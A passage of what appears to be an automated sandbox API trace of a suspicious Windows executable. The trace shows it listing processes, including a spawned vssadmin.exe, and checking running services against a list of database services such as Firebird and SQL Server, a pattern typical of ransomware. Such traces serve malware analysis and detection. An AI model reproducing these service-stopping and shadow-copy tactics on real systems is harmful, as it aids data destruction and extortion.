lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0211.058] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0211.058] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.059] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.059] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.060] lstrlenW (lpString="svchost.exe") returned 11 [0211.060] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0211.061] lstrlenW (lpString="sppsvc.exe") returned 10 [0211.061] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.061] lstrlenW (lpString="svchost.exe") returned 11 [0211.061] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0211.062] lstrlenW (lpString="qnuriy.exe") returned 10 [0211.062] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.063] lstrlenW (lpString="cmd.exe") returned 7 [0211.063] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.064] lstrlenW (lpString="conhost.exe") returned 11 [0211.064] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0211.065] lstrlenW (lpString="vssadmin.exe") returned 12 [0211.065] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.065] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.065] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0211.066] lstrlenW (lpString="VSSVC.exe") returned 9 [0211.066] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0211.067] CloseHandle (hObject=0x204) returned 1 [0211.067] Sleep (dwMilliseconds=0x1f4) [0211.578] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0211.578] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0211.579] GetLastError () returned 0xea [0211.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0211.579] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0211.580] CloseServiceHandle (hSCObject=0x570150) returned 1 [0211.580] lstrlenW (lpString="Appinfo") returned 7 [0211.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0211.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0211.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0211.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0211.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0211.580] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.580] lstrlenW (lpString="AudioSrv") returned 8 [0211.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0211.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0211.581] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0211.581] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0211.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0211.581] lstrlenW (lpString="BFE") returned 3 [0211.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.581] lstrlenW (lpString="CryptSvc") returned 8 [0211.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0211.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0211.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0211.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0211.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0211.581] lstrlenW (lpString="CscService") returned 10 [0211.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0211.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0211.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0211.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0211.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0211.581] lstrlenW (lpString="DcomLaunch") returned 10 [0211.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.582] lstrlenW (lpString="Dhcp") returned 4 [0211.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.582] lstrlenW (lpString="Dnscache") returned 8 [0211.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.582] lstrlenW (lpString="DPS") returned 3 [0211.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0211.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0211.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0211.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0211.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0211.583] lstrlenW (lpString="eventlog") returned 8 [0211.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0211.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0211.583] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0211.583] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0211.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0211.583] lstrlenW (lpString="EventSystem") returned 11 [0211.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.583] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.583] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.583] lstrlenW (lpString="FontCache") returned 9 [0211.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0211.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0211.583] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0211.583] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0211.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0211.583] lstrlenW (lpString="gpsvc") returned 5 [0211.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.584] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.584] lstrlenW (lpString="iphlpsvc") returned 8 [0211.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.584] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0211.584] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0211.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0211.584] lstrlenW (lpString="LanmanServer") returned 12 [0211.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0211.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0211.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0211.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0211.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0211.584] lstrlenW (lpString="LanmanWorkstation") returned 17 [0211.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0211.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0211.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0211.585] lstrlenW (lpString="lmhosts") returned 7 [0211.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.585] lstrlenW (lpString="MMCSS") returned 5 [0211.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0211.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0211.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0211.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0211.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0211.585] lstrlenW (lpString="MpsSvc") returned 6 [0211.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.585] lstrlenW (lpString="Netman") returned 6 [0211.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0211.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0211.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0211.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0211.586] lstrlenW (lpString="netprofm") returned 8 [0211.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0211.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0211.586] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0211.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0211.586] lstrlenW (lpString="NlaSvc") returned 6 [0211.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0211.586] lstrlenW (lpString="nsi") returned 3 [0211.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.586] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.586] lstrlenW (lpString="PcaSvc") returned 6 [0211.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0211.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0211.586] lstrlenW (lpString="PlugPlay") returned 8 [0211.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.587] lstrlenW (lpString="Power") returned 5 [0211.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.587] lstrlenW (lpString="ProfSvc") returned 7 [0211.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.587] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.587] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0211.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0211.587] lstrlenW (lpString="RpcEptMapper") returned 12 [0211.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0211.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0211.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0211.587] lstrlenW (lpString="RpcSs") returned 5 [0211.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0211.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0211.588] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0211.588] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0211.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0211.588] lstrlenW (lpString="SamSs") returned 5 [0211.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0211.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0211.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0211.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0211.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0211.588] lstrlenW (lpString="Schedule") returned 8 [0211.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0211.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0211.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0211.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0211.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0211.589] lstrlenW (lpString="SENS") returned 4 [0211.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0211.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0211.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0211.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0211.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0211.589] lstrlenW (lpString="ShellHWDetection") returned 16 [0211.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.589] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0211.589] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0211.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0211.589] lstrlenW (lpString="Spooler") returned 7 [0211.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0211.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0211.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0211.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0211.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0211.589] lstrlenW (lpString="sppsvc") returned 6 [0211.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0211.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0211.589] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0211.589] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0211.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0211.590] lstrlenW (lpString="SysMain") returned 7 [0211.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0211.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0211.590] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0211.590] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0211.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0211.590] lstrlenW (lpString="Themes") returned 6 [0211.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0211.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0211.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0211.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0211.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0211.590] lstrlenW (lpString="TrkWks") returned 6 [0211.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0211.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0211.590] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0211.590] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0211.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0211.590] lstrlenW (lpString="UxSms") returned 5 [0211.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0211.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0211.590] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0211.591] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0211.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0211.591] lstrlenW (lpString="VSS") returned 3 [0211.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0211.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0211.591] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0211.591] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0211.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0211.591] lstrlenW (lpString="WdiServiceHost") returned 14 [0211.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0211.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0211.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0211.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0211.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0211.591] lstrlenW (lpString="WdiSystemHost") returned 13 [0211.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0211.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0211.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0211.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0211.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0211.591] lstrlenW (lpString="WinDefend") returned 9 [0211.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0211.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0211.592] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0211.592] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0211.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0211.592] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0211.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0211.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0211.592] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0211.592] lstrcmpiW 